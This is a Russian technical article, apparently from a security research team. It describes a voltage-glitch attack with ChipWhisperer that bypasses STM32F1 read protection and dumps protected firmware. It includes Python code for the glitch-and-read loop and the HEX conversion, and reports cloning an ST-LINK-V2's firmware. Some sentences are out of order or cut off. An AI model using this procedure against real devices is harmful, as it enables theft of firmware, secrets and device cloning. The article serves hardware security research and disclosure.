Хабрахабр

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer

Нашей дальнейшей целью стало поэтапное изучение процесса считывания защищенной прошивки микроконтроллеров. В предыдущей статье мы разбирались с Vcc-glitch-атаками при помощи ChipWhisperer. Яркий пример – взлом аппаратного криптокошелька Ledger Nano S с платой МК STM32F042 при помощи Vcc-glitch-атак. С помощью подобных атак злоумышленник может получить доступ ко всем паролям устройства и программным алгоритмам.

Давайте смотреть под кат. Интересно?

Также рекомендуем к прочтению статью о взломе ESP32. О возможности считывания защищенной прошивки мы узнали из статьи, в которой приведены результаты выполнения Vcc-glitch-атаки – обхода байта защиты RDP через масочный загрузчик (bootloader) для нескольких микроконтроллеров (далее – МК).

Теоретической базой исследования послужило руководство успешного считывания защищенной прошивки для LPC1114 через масочный загрузчик с использованием ChipWhisperer.

Так же, как и в первой статье, мы решили проводить эксперименты на плате МК STM32F103RBT6:

Плата STM32F103RBT6

Для разных МК значения и назначение байтов защиты, а также алгоритм их проверки различается. Возможность записи данных в сектор флеш-памяти и RAM-памяти или их чтения, а также выполнения других действий с памятью МК определяется значением байта защиты (для STM32 – RDP).

Аппаратная настройка

Для начала необходимо подключить ChipWhisperer к МК согласно рисунку: Приступим к проведению эксперимента.

Схема подключения ChipWhisperer к STM32 для считывания защищенной прошивки через масочный загрузчик

Стрелками обозначены места подключения ChipWhisperer, а подписями – его пины. На схеме зачеркнуты элементы, которые следует удалить из платы STM32F103RBT6 (в отличие от стандартного подключения МК).

Наличие внешнего кварца, представленного на схеме, не обязательно, поскольку при работе с масочным загрузчиком плата МК STM32F103RBT6 использует внутренний CLOCK с частотой 24 МГц, поэтому синхронизация между ChipWhisperer и МК отсутствует.

Как уже было отмечено выше, рекомендуемая частота работы ChipWhisperer – 24 МГц (или другое кратное значение). Перейдем к настройке ChipWhisperer. Из-за отсутствия синхронизации подбор параметра scope.glitch.offset необязателен, ему можно присвоить любое значение. Чем выше кратность этой частоты, тем точнее можно настроить момент атаки.

При большом значении частоты все кратковременные импульсы, количество которых устанавливается при помощи scope.glitch.repeat, сливаются в один длительный импульс. Параметры scope.glitch.repeat и scope.glitch.width необходимо подбирать в зависимости от установленной частоты ChipWhisperer. Мы обнаружили, что оптимальная длительность импульса должна составлять около 80 нс (определяется как ширина импульса на его полувысоте). Поэтому можно подбирать значение параметра scope.glitch.width, а scope.glitch.repeat зафиксировать, либо наоборот.

Осталось подобрать значение параметра scope.glitch.ext_offset.

Подбор scope.glitch.ext_offset

Согласно схеме, представленной в документе компании STM, проверка значения байта защиты выполняется после получения запроса на чтение данных сектора флеш-памяти: Сначала необходимо выбрать момент атаки.

Алгоритм ответа на запрос о чтении данных сектора флеш-памяти

На рисунках ниже показаны части алгоритма обработки команды Read Memory command. Чтобы удостовериться в верности такой схемы проверки, мы считали исполняемый код загрузчика подобного МК без защиты RDP через ST-Link.

Общий вид обработки команды чтения памяти (хорошо видны вызов функции проверки RDP и посылка NACK в случае неудачной проверки)

Тело функции проверки RDP

Из документации PM0075 Programming manual (STM32F10xxx Flash memory microcontrollers) становится понятно, что 0x40022000 – это базовый адрес контроллера flash memory, а 0x1C – это смещение регистра FLASH_OBR, в котором нас интересует второй бит RDPRT: Read protection, в котором содержится статус защиты RDP. Обратим внимание на тело функции проверки RDP: видно, что происходит чтение регистра по адресу 0x40022000 + 0x1C, логический сдвиг на 30 разрядов и ветвление.

Эта инструкция располагается между запросом на чтение прошивки (отправление байта 0x11 с контрольной суммой 0xEE) и ответом ACK/NOACK МК по UART. Необходимый момент проведения атаки – отработка инструкции LDR (загрузки из памяти). В результате осциллограмма атаки по питанию с подобранным значением scope.glitch.ext_offset должна выглядеть примерно так: Для того чтобы визуально зафиксировать этот момент, необходимо подключить осциллограф к UART1_RX (пин PA10) и UART1_TX (пин PA9), а затем отслеживать изменение напряжения по UART1.

Выбор момента проведения атаки

Скрипт считывания прошивки

У ChipWhisperer есть библиотека для общения с масочным загрузчиком МК STM32. Теперь необходимо указать момент срабатывания триггера CW_TRIG в коде Python с целью перехвата момента передачи контрольной суммы по UART1_RX. Для активации срабатывания триггера необходимо скопировать этот класс в главный исполняемый скрипт, чтобы метод класса CmdGeneric(self, cmd) стал глобально доступным, и добавить команду scope.arm() до передачи контрольной суммы (0xEE) запроса на считывание сектора памяти. В штатном режиме эта библиотека используется для загрузки на МК прошивок из руководств при помощи класса class STM32FSerial(object), расположенного в файле programmer_stm32fserial.py по пути software/chipwhisperer/hardware/naeusb/. Итоговый класс приведен в спойлере ниже.

Класс для общения ChipWhisperer с STM32

import time
import sys
import logging
from chipwhisperer.common.utils import util
from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f
from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART
class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature:
# print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t
# print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None

Поэтому при считывании всей прошивки МК необходимо в ходе Vcc-glitch-атаки выполнить несколько запросов на чтение. Следует обратить внимание на то, что масочный загрузчик STM32F1хх позволяет считывать за один запрос не более 256 байт прошивки из указанного сектора флеш-памяти. Затем полученные 256 байт следует разбить на восемь 32-байтных массивов и сформировать из них файл формата HEX.

Код HEX-конвертера и вспомогательные функции

def int2str_0xFF(int_number, number_of_bytes): return 'X}'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion << 16) data_out = '' for i in range(int(256/mem_step)): data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)] mem_calc = mem_conversion + (i * mem_step) data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n' return data_out def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step): addr_string = memory_address -((memory_address >> 20) << 20) data_buffer = '' crcacc = 0 for x in range(0, len(data_to_convert)): data_buffer += int2str_0xFF(data_to_convert[x], 2) crcacc += data_to_convert[x] crcacc += mem_step temp_addr_string = addr_string for i in range (4, -1, -2): crcacc += temp_addr_string >> i*4 temp_addr_string -= ((temp_addr_string >> i*4) << i*4) crcacc_2nd_symbol = (crcacc >> 8) + 1 crcacc = (crcacc_2nd_symbol << 8) - crcacc if crcacc == 0x100: crcacc = 0 RECTYP = 0x00 out_string = ':'+ Int_To_Hex_String(mem_step, 2) +\ Int_To_Hex_String((addr_string),4) +\ Int_To_Hex_String(RECTYP, 2) +\ data_buffer +\ Int_To_Hex_String(crcacc, 2) return out_string def send_to_file(info_to_output, File_name, directory): file = open(directory + File_name + '.hex', 'w') file.write(info_to_output) file.close() def reset_target(scope): scope.io.nrst = 'low' time.sleep(0.05) scope.io.nrst = 'high' from collections import namedtuple
Range = namedtuple('Range', ['min', 'max', 'step'])

Итоговый скрипт на считывание прошивки выглядит следующим образом: Настройка параметров ChipWhisperer завершена.

# string of start HEX file
Start_of_File_Record = ':020000040800F2'
# string of end HEX file
End_of_File_Record = ':00000001FF' length_of_sector = 256
if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = ''
output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start
while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message:
# print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message:
# print('Crashed. Reload!') pass elif 'NACK 0x11' in message:
# print('Firmware is closed!') pass else:
# print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n'
send_to_file(output_to_file_buffer, File_name, directory)

Для отслеживания конкретного состояния МК достаточно раскомментировать необходимое сообщение print(). Все закомментированные сообщения print() после строчки except Exception as помогают отслеживать состояние МК при поиске оптимальных параметров glitch-импульса.

Результаты считывания

На видео продемонстрирована загрузка прошивки на МК через программатор ST-LINK, перевод RDP в состояние защиты и последующее считывание прошивки:

Успешному проведению Vcc-glitch-атаки могут помешать следующие ошибки:

• считывание неверного сектора памяти;

• самопроизвольное удаление прошивки.

Избежать подобных ошибок поможет точный выбор момента атаки путем увеличения частоты работы ChipWhisperer.

1, который работает на МК STM32F103CBT6. После разработки и отладки алгоритма считывания защищенной прошивки мы провели тестовое считывание прошивки программатора ST-LINK-V2. В результате ST-LINK-V2. Считанную прошивку мы зашили на «чистый» МК STM32F103CBT6 и установили его вместо заводского. 1 с замененным МК работал в нормальном режиме, будто подмены не было.

Этот МК в ходе атаки вел себя идентично STM32F103RBT6, но ответ на запрос чтения памяти содержал байт, равный 0х00, что не совпадало с ожидаемым нами результатом. Также мы попробовали провести серию атак на STM32F303RCT7. Причина такой неудачи заключалась в более сложном и развитом принципе организации защиты этих МК.

В старших моделях предусмотрено три состояния защиты: защита отключена (Level 0, RDP = 0x55AA), защита флеш- и SRAM-памяти (Level 2, RDP = 0x33CC) и защита только флеш-памяти (Level 1, RDP принимает любые значения, отличные от 0x55AA и 0x33CC). В МК STM32F1xx существует два состояния защиты: защита выключена (Level 0) и включена (Level 1). С другой стороны, существует возможность понижения уровня защиты с Level 2 на Level 1 сбиванием одного бита в байте RDP (показано на рисунке ниже), что открывает доступ к SRAM-памяти. Поскольку Level 1 может принимать множество значений RDP, установить Level 0 достаточно тяжело.

Сравнение значений RDP для разных уровней защиты прошивки

Например, с помощью метода CBS (Cold-Boot Stepping), описанного в этой статье. Остается только понять, как этим может воспользоваться злоумышленник. Авторы предполагают, что метод CBS сработает на всех сериях МК STM32. Этот метод основан на поэтапном снимке состояния SRAM-памяти (периодичность выполнения каждого снимка была в районе микросекунды) после загрузки МК с целью получения ключей шифрования, скрытых паролей или любой другой ценной информации.

Выводы

Выполнение Vcc-glitch-атаки с использованием данных, полученных в результате предыдущего исследования (о котором можно прочитать здесь), заняло у нас несколько дней. Подведем итоги наших экспериментов. А значит, научиться проводить подобные атаки достаточно легко.

Для уменьшения вероятности успешного проведения подобных атак предлагается использовать МК с более высоким уровнем защиты. Vcc-glitch-атаки опасны тем, что от них сложно защититься.

Raccoon Security – специальная команда экспертов НТЦ «Вулкан» в области практической информационной безопасности, криптографии, схемотехники, обратной разработки и создания низкоуровневого программного обеспечения.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть